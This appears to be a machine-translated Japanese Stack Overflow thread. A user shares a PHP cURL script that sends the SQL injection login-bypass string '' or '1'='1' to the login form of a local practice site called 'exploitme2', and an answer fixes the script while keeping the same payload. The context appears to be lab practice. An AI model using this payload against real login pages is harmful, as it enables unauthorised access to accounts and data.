0

私は。。をしようとしています:

  1. アクセス$url
  2. 2つのインデックスの(2)値を対応する入力フィールド(ユーザー名、パスワード)に挿入し、送信します。
  3. 最後に、#2での入力と送信、および応答の出力から応答を取得します。

私は次のコードを持っています:

  <?php
# get url to form
$url = "http://localhost/exploitme2/index.php?page=login.php";
$ch = curl_init($url); # initialize that form

#run value of $_POST variable in form fields from above url.
$params = array("'' or '1'='1'", "'' or '1'='1'");

curl_setopt($ch, CURLOPT_POST, 1);  
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);  #set parameter $_POST fields
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
$result = curl_exec($ch);

## echo the result from cURL 'ing
echo $result;

curl_close($ch);
?>

このエラーが発生します:

 syntax error, unexpected '=', expecting ')' 

この行で:

$params = array($_POST['username']=>'' or '1'='1', 
                $_POST['password']=>'' or '1'='1');
4

1 に答える 1

1

技術的には、これはすべて1ステップの操作であり、3ではありません。これらの3つのステップはすべて完了しています。これらの値を上記のURLに投稿すると、結果はコードに従って$ result変数に格納され、返す/表示するだけで済みます。cURLの場合、最初にURLにアクセスしてから次に送信する必要があるわけではありません。フィールド名とアクションのURLがわかっている場合は、すでに行ったように、これら3つのことすべてを1つのステップで実行できます。

この変数のエコーを試してください

$result = curl_exec($ch);
**echo $result;**
curl_close($ch);

ここでいくつかの混乱を明確にしましょう

1) $_POST配列で変数を指定する必要はありません。cURLPOST変数は任意です。$_POSTにある必要はありません。

2)データをフォームのURLではなく、フォームのアクションURLに投稿する必要があります(もちろん両方が同じでない限り)

したがって、1の場合、コードは次のようになります。

$params = array("'' or '1'='1'", "'' or '1'='1'");
于 2012-12-27T04:14:49.973 に答える